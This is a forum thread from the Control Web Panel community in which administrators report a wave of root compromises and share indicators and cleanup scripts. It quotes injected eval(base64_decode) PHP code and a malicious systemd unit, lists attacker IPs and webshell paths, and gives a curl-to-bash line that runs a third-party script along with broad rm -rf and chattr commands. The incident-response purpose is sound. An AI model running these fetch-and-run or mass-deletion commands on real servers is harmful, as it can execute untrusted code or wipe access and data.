Control Web Panel
WebPanel => CentOS-WebPanel Bugs => Topic started by: comokoko on June 13, 2026, 09:34:32 AM
-
I think there is a very serious security vulnerability in CWP right now. My and my friends' 10's of servers were hacked with this vulnerability. I've been trying to identify the source for days.
Now I think I may have found the source of the problem. If this vulnerability is as I guess, it is a very serious security vulnerability. They can easily gain root access to the server.
I have been trying to explain this to CWP staff through the ticket system for days, but freelancers are handling the tickets. I mention that there may be a serious security vulnerability in the CWP panel right now, and they say pay me to look at your ticket.
-
IOC? Symptoms?
-
Hello,
The main symptoms are:
- `eval(base64_decode( ...` - in index files. This infection most likely redirects users to various websites from the mobile version, sends all user session information to third parties, and so on.
- Creates `/var/lib/mysql/.ssh` with keys, and accordingly, provides the /bin/bash shell with mysql in passwd
- Adds a malicious script to the directory `/tmp/.cwp_script.sh`
- Creates users. Random letters or something similar, such as __user, user__, login, imunify. Check—there is a .ssh directory inside.
- Creates SSH keys in the root directory. ` ~/.ssh/authorized_keys `
That's what I've noticed.
___
How can this be addressed?
The source of the problem is most likely an outdated version of Roundcube. This issue is described in `CVE‑2025‑49113`
https://censys.com/advisory/cve-2025-49113/
This issue occurs on systems running outdated operating systems, such as CentOS 7.
I have created a script that performs the following actions:
- Pre-configuration: Interactively prompts whether to install ImunifyAV, change the SSH port, and generate a new secure password for root.
- Backdoor cleanup: Checks for malicious files in `/var/lib/mysql/.ssh` and `/tmp/.cwp_script.sh` (deletes them) and displays the date of the last modification of the root SSH keys (authorized_keys).
- Panel and Mail Updates: Installs the latest version from the 1.5.x branch.
- Network protection (CSF): Closes vulnerable CWP ports (2030, 2031, 2082, 2083, 2086, 2087, 2095, 2096) and configures a new SSH port.
Important for working with the client: Since the control panel ports are closed to everyone, be sure to ask the client to provide their IP address so it can be added to the whitelist
```
Please provide your IP address so we can add it to the firewall whitelist.
You can find your IP address at: https://2ip.io
```
- Service audit: Restarts the necessary services and displays a list of those that failed to start using `systemctl --failed`.
- Antivirus protection: Installs ImunifyAV with the user’s consent, generates an access configuration, and automatically enables background scanning of the /home directory.
- Report generation: At the end, it outputs a ready-to-use, formatted text with new access rules and a list of tasks that can be easily copied to the client.
Backups and logging:
The script modifies the firewall configuration, so a backup is saved in `/etc/csf/csf.conf.bak.<year_month_day_time>`.
The entire process and the output of the update commands are logged in: `/var/log/cwp_maintenance.log`.
You can download and use the script with the following command:
bash -c "$(curl -fsSL https://gist.githubusercontent.com/ISWAPPP/be2407dd7424d04ac3f8b2be046df221/raw/6166abc7b3a26529a93631202f6aead65f7335cf/cwp-cracked-en.sh)"
Virus total: https://www.virustotal.com/gui/url-analysis/u-6d4cf1899e7680e39a949576d464ae4f482c0e861f6a800d6ec23f20d95a12f0-1ecad511
Next, run `grep -liR ‘eval(base64_decode( ’` in the websites directory to clean up the aftermath of the hacks.
Please let me know if you have any additional details or would like to improve the script.
-
We are probably talking about the same problem.
but the problem exists on a server with almalinux8 and up to date
-
@iswap not succsess
-
I can't paste my log here forum not accept
-
We saw similar behavior on AlmaLinux 9.8 / CWP.
Observed IOCs:
- external IP: 89.248.172.183
- webshell path: /temp/.x.php
- CWP service-path shell: /usr/local/cwpsrv/var/services/oauth/v1.0a/server/www/.r.php
- downloaded payload source: mars.imasync.com
- repeated unauthorized SSH key fingerprint: SHA256:w79EbEKrlqugvMc8n/i9dQ5QuvhFBdJZDA/UKdSek2o
- mass unauthorized authorized_keys files across service/user accounts
- sudoers NOPASSWD backdoors for service/system accounts
- service/system account password hashes were set
-
We saw similar behavior on AlmaLinux 9.8 / CWP.
Observed IOCs:
- external IP: 89.248.172.183
- webshell path: /temp/.x.php
- CWP service-path shell: /usr/local/cwpsrv/var/services/oauth/v1.0a/server/www/.r.php
- downloaded payload source: mars.imasync.com
- repeated unauthorized SSH key fingerprint: SHA256:w79EbEKrlqugvMc8n/i9dQ5QuvhFBdJZDA/UKdSek2o
- mass unauthorized authorized_keys files across service/user accounts
- sudoers NOPASSWD backdoors for service/system accounts
- service/system account password hashes were set
Same problem. CWP urgently needs to do something about this issue. The situation exists even on the latest OS.
It is only a matter of time before our servers are encrypted. If it is encrypted, everything will be gone.
-
i can subscribe to this. Alma 8.10 with all updates.
Almost all wp-config.php files from every site had eval(base64_decode added
# grep -R "eval(base64_decode" .
./wp-config.php: eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZm
From my point of view entry point is : webftp_simple ( present in /usr/local/apache/htdocs/ ).
I had also a malware installed as service which pretended to be a kernel service.
# systemctl cat defunct.service
# /usr/lib/systemd/system/defunct.service
[Unit]
Description=D-Bus System Connection Bus
After=network.target
[Service]
Type=simple
Restart=always
RestartSec=300
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[slub_flushwq]' '/usr/bin/defunct'"
[Install]
WantedBy=multi-user.target
Virustotal confirmed that /usr/bin/defunct is malware.
Also search for other shell files instaled after breaking the system.
find /home /var/www -name "cmd.php" -o -name "shell.php" -o -name "c99.php" \
-o -name "r57.php" -o -name "wso.php" 2>/dev/null
-
I also noticed two days ago that the entry point is webftp_simple, I just didn't want to mention it here.
-
Simple solution, keep your servers updated.
And IF you are still running CentOS 7, you can expect to be hacked, running an EOL OS that is public facing.
There was a major Kernel Auth vulnerability that's has been activity exploited.
AlmaLinux released fixed Kernels on 2026-06-08 for AL8 and AL9.
Someone mentioned an old CVE for Roundcube, that only affected Roundcube Webmail versions prior to 1.5.10.
The current version is 1.5.15
Servers using Apache also had a problem, that the update to 2.4.68 fixed
-
CWP team must release a urgent update that fix all the current services with issues, RoundCube, Nginx, Apache, etc.
This is urgent!
We are paying for something that its full of security issues
-
Nothing to do with this issue, but we having problems with backups for months, various updates was released and does not fixed the issue.
This panel is a low-cost panel, and for that reason, there are probably few people working on it, which makes the development and bug fixing process very slow.
It has GREAT features, but need more assistance.
I would like to express my interest in participating in the development or bug fixing of the interface.
Thanks!
-
I prepared a new server and installed almalinux9. I want to move the sites on the old server to the new server, but CWP->CWP migration does not work.
I take a manual backup from the old server and move it to the new server without any problems, but when importing it on the new server, it cannot open the compressed file and gives an error.
CWP is really starting to cost our days and our health.
Tickets that are not answered for days, security vulnerabilities that are not completely closed, functions that never work properly, etc.
-
You are doing a clean installation on almalinux9. CWP is still trying to use the service command in the background. Friends, don't these developers know that the service command does not work in Almalinux 9?
-
Simple solution, keep your servers updated.
And IF you are still running CentOS 7, you can expect to be hacked, running an EOL OS that is public facing.
There was a major Kernel Auth vulnerability that's has been activity exploited.
AlmaLinux released fixed Kernels on 2026-06-08 for AL8 and AL9.
Someone mentioned an old CVE for Roundcube, that only affected Roundcube Webmail versions prior to 1.5.10.
The current version is 1.5.15
Servers using Apache also had a problem, that the update to 2.4.68 fixed
Unfortunately, we cannot do this at this stage because CWP is really terrible and most critical parts constantly have BUGs and do not work properly.
-
Even this forum is problematic from top to bottom and we try for hours to even write an answer with BUGs, sometimes we succeed, sometimes we don't (Especially when we want to answer with quotes)
-
As far as I can see, if you install clean AlmaLinux 9 and then install CWP, the CWP installation package still installs the 1.14.X vulnerable version of roundcube.
So even if everything is up to date, you all have the same vulnerability.
-
The bug mentioned has nothing to do with OS but with CWP.
I understand the frustration:
1) enable modsecurity if disabled
2) create : cat /usr/local/apache/htdocs/webftp_simple/.htaccess
Require all denied
3) search for all .ssh directories ; bear in mind that you need to chatr -i authorized_keys to delete the folders
4) re-make /etc/passwd (all users have /bin/bash) , /etc/shadow(all users have password)
5) check for strange services ( see my other post)
6) check for strange files in /boot
rkhunter and maldet might give you more hints
-
CWP team must release a urgent update that fix all the current services with issues, RoundCube, Nginx, Apache, etc.
This is urgent!
We are paying for something that its full of security issues
And you, as a Sys Admin, your job is to keep them updated, which is simple to do, there are guides all over how to keep the server updated and secure.
There have not been any recent CVE's for CWP via CISA.
If you choose not to do that, then, well ...
-
Not all users are sysadmin, this type of panel should handle the basic stuff, keep everyting updated it one of the basic features of every panel
-
This issue has been resolved on all CWP servers since last week, thank you for reporting it as well.
-
This issue has been resolved on all CWP servers since last week, thank you for reporting it as well.
All issues? Apache, Ngnix, Roundcube?
CWP can be slow in new features but not slow on security fixes
-
This issue has been resolved on all CWP servers since last week, thank you for reporting it as well.
I would like to raise again an important concern regarding the CWP installation script.
Currently, the default installation does not provide a modern and secure stack out of the box. After installing AlmaLinux 8 or 9, it is necessary to manually update multiple core components (NGINX, MariaDB, PHP, Apache, etc.) in order to reach current stable and secure versions without known CVEs.
This process is time-consuming and becomes especially difficult when managing multiple servers (20–25 CWP Pro VPS instances), where consistency and automation are essential.
My suggestion is not to remove legacy support, but to improve the installer by offering a modern default stack option, including:
PHP 8.3+ as default
Latest stable versions of NGINX and MariaDB
Roundcube and Apache updated accordingly
While still allowing legacy PHP versions (such as 7.4) to be installed and selected per domain through “Manage WebServers Configuration”
This would significantly improve security, deployment speed, and server standardization, especially for multi-server environments.
I have raised this concern previously on the forum, but I have not received an official response from the CWP team.
I would appreciate an official clarification on whether this improvement is planned or considered.
-
That won't work, because not everyone uses Nginx and/or PHP 8.3.
Or maybe to have a question like CyberPanel at the beginning of an install, to ask what webserver and PHP you want.
Sounds like would work best for you, is after you install and update everything, take a snapshot, and then use that to bring up a new VPS.
-
Not all users are sysadmin, this type of panel should handle the basic stuff, keep everyting updated it one of the basic features of every panel
If you're not a Sys Admin, I would recommend hiring one to take care of the technical backend.
Or maybe stick with a Managed VPS or Shared Reseller web hosting account, where the backend is handled for you.
No panel keeps everything updated, except maybe cPanel, and from the CVE's I've seen lately, they may not even keep everything updated.
But that's also what's good about CWP, it's let you have some customization.
-
Another server with CWP version 0.9.8.1231 was just hacked using the same method. Reportedly, this vulnerability has been closed in this version.
However, the security breach still continues!!!!. I don't think the security vulnerability was closed properly, it still persists...
-
Starburst — I know you are active here on the forum, I’ve been following your replies, and I appreciate the work you are doing.
However, before any workaround solutions are suggested, I want to clarify something important.
A few months ago, I opened a support ticket on the CWP platform regarding this issue. @josemnunez was aware of it and had reviewed my report, but after I continued to insist on the same concern, the ticket was closed without any real resolution.
If this is a financial or resource issue, then that is fine — increase the license price, even double it if necessary. I personally would agree to that.
But what should not continue is the current approach based on patchwork fixes and temporary solutions for core issues in CWP.
At this point, I would like to restate the main issue clearly:
I would like to clarify and consolidate my previous points regarding the CWP installation process and the default stack on AlmaLinux 8/9.
This is not about choosing between Nginx, Apache, or any specific web server. The issue is the default state and quality of a fresh CWP installation.
At the moment, a clean installation of CWP on AlmaLinux 8/9 results in an outdated and inconsistent software stack, including older versions of core components such as:
MariaDB
Apache
Nginx (if selected)
PHP (non-modern default setup)
phpMyAdmin
Roundcube
Postfix
system packages related to web and security that are not aligned with current security standards
This means that immediately after installation, we are forced to manually update multiple critical components just to reach a modern, secure, and stable state. As you already know, this update process is not always straightforward and can sometimes introduce issues based on forum-provided solutions, which is not ideal for production environments.
What I am suggesting is a modern secure baseline for new installations:
On AlmaLinux 8/9, CWP should install by default a modern and secure stack:
PHP 8.3+ as system default
latest stable MariaDB
latest stable Apache
latest stable Roundcube
phpMyAdmin updated according to current security standards
If Nginx is selected during installation, it should also be installed in its latest stable version, not an outdated one.
In addition, there is another important issue:
On AlmaLinux 9, CWP installation requires additional packages to be installed manually before running the installation script. However, this is not clearly documented in the official installation guide. These requirements and workarounds were originally published on the forum during the Beta stage. Since AlmaLinux 9 is now officially supported, these prerequisites should either be integrated into the installation script or documented officially.
A fresh installation should not require users to search forums for known prerequisites or fixes.
At some point, the installation process and default stack need to be properly modernized instead of constantly relying on temporary solutions.
-
ghoste - I agree with what you say
-
Not all users are sysadmin, this type of panel should handle the basic stuff, keep everyting updated it one of the basic features of every panel
If you're not a Sys Admin, I would recommend hiring one to take care of the technical backend.
Or maybe stick with a Managed VPS or Shared Reseller web hosting account, where the backend is handled for you.
No panel keeps everything updated, except maybe cPanel, and from the CVE's I've seen lately, they may not even keep everything updated.
But that's also what's good about CWP, it's let you have some customization.
CWP should handle the basics. The default installation is several versions behind the current ones.
While we can do manual updates, if CWP later updates its default version, it can break things because we are no longer running a default CWP installation.
-
CWP should handle the basics. The default installation is several versions behind the current ones.
While we can do manual updates, if CWP later updates its default version, it can break things because we are no longer running a default CWP installation.
If we all agree that the default installation is several versions behind and that manually upgrading core components can create compatibility issues later, then the obvious question is:
What is the solution?
Continuing to rely on manual upgrades after every fresh installation is not really a solution, especially for those of us managing multiple VPSs and production environments.
Is there a plan to update the installation script and the default software stack?
Is there a roadmap for bringing the default installation in line with current stable versions of MariaDB, Apache, Nginx, phpMyAdmin, Roundcube and PHP?
Because from an administrator's perspective, a fresh installation should already provide a modern and secure baseline instead of requiring immediate post-installation upgrades and forum-based workarounds.
-
Guys,
I had these problems with an eval($_POST['shell']) type attack in the logs, in the admin area, two years ago (Jun/07/2024).
It was saving an error.php file in an area restricted to the admin, and running it.
In other words, somehow CWP was allowing files to be saved in the admin's restricted area.
I informed the CWP team, but I haven't received any feedback, and I don't know if it was resolved or not.
So, I proposed a temporary solution of restricting access to the admin area with the nginx server password, because the 'cwpsrv' process is actually 'nginx'.
This attack is very similar to the one that happened two years ago, so I have reason to believe that this attack is related to the attack from that time.
But since then, after restricting the admin area, I haven't had any more problems of this type.
So, if you are having problems even after updating to the new version of CWP, and have still suffered attacks, I recommend that you restrict the admin area with the nginx password.
You and your users will still be able to use CWP, as long as you have the specified password.
This doesn't solve the problem, but it brings much more peace of mind to day-to-day use until there is time to discover and fix the real problem.
To restrict the admin area, run this script:
if [[ ! -e /usr/local/cwpsrv/conf/include/security.conf ]]; then
read -p "Install additional authentication layer to CWP? (Y/n): " -r
echo # (optional) move to a new line
if [[ $REPLY =~ ^[Ss]$ ]]; then
# To create additional password to use cwpsrv
# It will work on the block ports 2031 e 2087:
# Replace XY.XW.XZ.XX with any IP address if you want restrict a IP adresses, or delete 'allow' lines
# Creating the file /usr/local/cwpsrv/conf/include/security.conf with the following content:
echo "Creating additional authentication layer to cwpsrv..."
IP_REMOTO_ATUAL=$(w -i| grep root | cut -d' ' -f10| head -1)
cat << EOT > /usr/local/cwpsrv/conf/include/security.conf
satisfy any;
allow XY.XW.XZ.XX;
allow 127.0.0.1;
deny all;
auth_basic "Protected site";
auth_basic_user_file /usr/local/cwpsrv/conf/htpasswd;
EOT
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "!!!! Now creating the password to additional authentication layer to CWP server !!!!"
echo " ( You can choose any password you want )"
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "root:"$(openssl passwd -apr1) > /usr/local/cwpsrv/conf/htpasswd
if [[ $? -eq 0 ]]; then
echo "Password sucessfully configured!"
else
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "!!!!!!!!!!!!!!!!!!!!!!.....ALERT.......!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
echo "There was some problem, and was not possible to configure the password, you must verify the problem!"
fi
echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
fi
fi
read -p "Press [enter] to restart cwpsrv"
/scripts/restart_cwpsrv
You can choose any password you want, but choose wisely.
Regards,
Netino
-
To delete the .ssh folders under each user's /home directory
for d in /home/*/.ssh; do
if [ -d "$d" ]; then
chattr -R -ia "$d" 2>/dev/null
rm -rf "$d"
echo "removed: $d"
fi
done
and this is clean.sh
#!/bin/bash
# home
TARGET_DIR="/home"
# Malware string which we are looking for
MALWARE_STRING='eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTs'
echo "starting..."
echo "scanning: $TARGET_DIR"
echo "wait..."
echo "------------------------------------------------"
find "$TARGET_DIR" -type f -name "*.php" | while read -r file; do
# check for malware
if grep -qF "$MALWARE_STRING" "$file"; then
echo "[!] code is detected: $file"
# removing
sed -i "/eval(base64_decode(\"aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTs/d" "$file"
fi
done
echo "------------------------------------------------"
echo "done."
chmod 755 clean.sh then start. At least it will help you clean up
-
My server was recently compromised, and many websites hosted on it had their index.php files injected with malicious code similar to:
eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJv..."));
I also found unauthorized SSH keys added to authorized_keys files and several suspicious files such as defauit.php across different accounts.
I have cleaned the infections multiple times, removed the malicious files, changed passwords, and scanned the server, but the infection keeps returning approximately every 30 minutes.
What I've observed is that the reinfection process appears to run for about 2-3 minutes. During that time, if I clean the infected files, they are immediately reinfected. Outside of that window, there is usually a delay of around 30 minutes before the files are modified again.
So far, I have been unable to identify the root cause or the process responsible for the reinfection. There are no obvious cron jobs, and the malware continues to reappear after cleanup.
Has anyone dealt with a similar compromise or persistent reinfection on a CWP/CentOS server? Any advice on how to trace the source of the reinfection, identify the responsible process, or locate hidden backdoors would be greatly appreciated.
-
I ran into the same issues, but unfortunately, I couldn’t find a solution. The hacker had literally taken over the server. Even though sshd, FTP, Apache, and Nginx were disabled, .ssh folders were being created every time, and code was being injected. Unfortunately, the only solution I found was to switch to a different control panel.
-
I found an entry point and an the privilage escalation that is currently atacking my servers. Should I post it here?
-
I think any kind of information can be useful to us.
-
Well, this is so bad that I feel uncomfortable that share it now publicly when there is no fix.
But I can say this:
BLOCK THIS IP NOW!!!! 152.53.173.29 that is the C&C server.
EDIT: Where can I send a message to an dev?
-
@ideal:
systemctl list-unit-files --type=service --state=enabled
İf you see "defunct.service" in list:
systemctl stop defunct.service
systemctl disable defunct.service
cat /usr/lib/systemd/system/defunct.service (You can see: '/usr/bin/defunct'")
rm -f /usr/lib/systemd/system/defunct.service
systemctl daemon-reload
rm -f /usr/bin/defunct
Yo can kill it :)
After:
search .ssh dirs
delete all .ssh dirs
example for root/.ssh:
sudo chattr -R -i /root/.ssh
check /home dir if this dirs exists: (login chromeuser) delete:
sudo chattr -R -i /home/login
sudo chattr -R -i /home/chromeuser
rm -rf /home/login
rm -rf /home/chromeuser
Search files for infaction codes and clear all
I think this security issue cause of Roundcube version: 1.4.14
-
Well, this is so bad that I feel uncomfortable that share it now publicly when there is no fix.
But I can say this:
BLOCK THIS IP NOW!!!! 152.53.173.29 that is the C&C server.
EDIT: Where can I send a message to an dev?
This is a Netcup IP, and they are very good at suspending service of hackers on their network.
You can send the hacker info to: abuse@netcup.de
-
Pleases update cwp sh /scripts/update_cwp
-
Well, this is so bad that I feel uncomfortable that share it now publicly when there is no fix.
But I can say this:
BLOCK THIS IP NOW!!!! 152.53.173.29 that is the C&C server.
EDIT: Where can I send a message to an dev?
This is a Netcup IP, and they are very good at suspending service of hackers on their network.
You can send the hacker info to: abuse@netcup.de
Great, I send them a mail aswel.
89.248.172.118 is also good to block, it gave the original payload, but it's apparently an IP from an 'bulletproof hoster'.
-
Pleases update cwp sh /scripts/update_cwp
0.9.8.1235 that is fast!
-
to resolve hackers issues just update cwp with this script, run the script two times.
This will also be resolved by cwp update automatically so even if you don't run the script it will be updated in 24h.
/scripts/update_cwp
-
Our server was also one of the victims of this issue.
For safety reasons, we are dumping this server and moving to a new server now because we can't make sure how comprimised the server is while attacker has root access for days.
I wanted to share my way of dealing with it but forum is rejecting some parts of my post (probably because of mod_security). Let me know if there is another way to share it with everyone:
#check if there is someone connected to your server except you:
netstat -antp | grep -E "ESTABLISHED|LISTEN"
#if yes, kill its process and ban the ip
kill [PID]
=============================
#Then Hunt for the signature:
grep -R "/usr/bin/defunct\|mm_percpu_wq" /etc /root /var/spool/cron /usr/local/cwpsrv /usr/local/apache 2>/dev/null > /root/defunct-references-small.log
# You are likely to see this line:
/etc/systemd/system/multi-user.target.wants/defunct.service
ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[mm_percpu_wq]' '/usr/bin/defunct'"
#Kill it:
systemctl stop defunct.service
systemctl disable defunct.service
rm -f /etc/systemd/system/multi-user.target.wants/defunct.service
rm -f /usr/bin/defunct
rm -f /lib/systemd/system/defunct.dat
systemctl daemon-reload
#recheck:
systemctl status defunct.service
ps aux | grep '[m]m_percpu'
find /etc/systemd /lib/systemd -name '*defunct*' -o -name '*mm_percpu*' 2>/dev/null
#Then go for the injected SSH keys:
find / -path '*/.ssh*' 2>/dev/null
#remove all ssh keys except root:
find / -path '*/.ssh/authorized_keys*' -type f ! -path '/root/.ssh/authorized_keys' -print0 2>/dev/null | while IFS= read -r -d '' f; do
chattr -i "$f" 2>/dev/null
rm -f "$f"
done
# remove all ssh directories except root:
find / -path '*/.ssh' -type d ! -path '/root/.ssh' -print0 2>/dev/null | while IFS= read -r -d '' d; do
chattr -i "$d"/* 2>/dev/null
rm -rf "$d"
done
# own root ssh back:
chown root:root /root/.ssh
chmod 700 /root/.ssh
chattr -i /root/.ssh/authorized_keys
# edit root ssh:
nano /root/.ssh/authorized_keys
# remove all injected lines with CTRL+K and save it with CTRL + X
(if you don't have a SSH key yourself for root, remove that authorized_keys file too rm -f /root/.ssh/authorized_keys )
#now deal with injected php files under public_html
#find injections:
grep -RIl --include='*.php' 'aW5pX3NldCgiZGlzcGxheV9lcnJvcnMi' /home
<forum didn't allow me to post clean line due to mod_security>
#check if its cleaned now:
grep -RIl --include='*.php' 'aW5pX3NldCgiZGlzcGxheV9lcnJvcnMi' /home
#check injected .html / .json / .htaccess files:
<forum didn't allow me to post this line due to mod_security>
#remove injection:
<forum didn't allow me to post this line due to mod_security>
change your root password just in case
-
I think I found another issue with the security problem:
awk -F: '{print $1 ":" $7}' /etc/passwd
root:/bin/bash
bin:/bin/bash
daemon:/bin/bash
adm:/bin/bash
lp:/bin/bash
sync:/bin/sync
shutdown:/sbin/shutdown
halt:/sbin/halt
mail:/bin/bash
operator:/sbin/nologin
games:/bin/bash
ftp:/bin/bash
nobody:/bin/bash
systemd-network:/bin/bash
dbus:/bin/bash
polkitd:/bin/bash
sshd:/bin/bash
postfix:/bin/bash
chrony:/bin/bash
mysql:/sbin/nologin
saslauth:/bin/bash
dovecot:/bin/bash
dovenull:/bin/bash
tss:/bin/bash
named:/bin/bash
cwpsrv:/bin/bash
cwpsvc:/bin/bash
clamupdate:/bin/bash
amavis:/bin/bash
clamscan:/bin/bash
vmail:/bin/bash
vacation:/bin/bash
opendkim:/bin/bash
rpc:/bin/bash
firebird:/bin/nologin
ldap:/bin/bash
redis:/bin/bash
tcpdump:/bin/bash
I don't know if this was default configuration but it might be the attacker who set all these services to /bin/bash so I did this:
for user in bin daemon adm lp mail games ftp nobody systemd-network dbus polkitd sshd chrony saslauth tss rpc tcpdump; do
usermod -s /sbin/nologin "$user"
done
-
FYI, the named default shell assignment is /bin/false.
All of my users don't have shell access, so they too are /sbin/nologin. root, sync, shutdown, halt, and apache are some of the few that have a valid shell assignment. Even cbpolicyd has the /sbin/nologin shell assignment.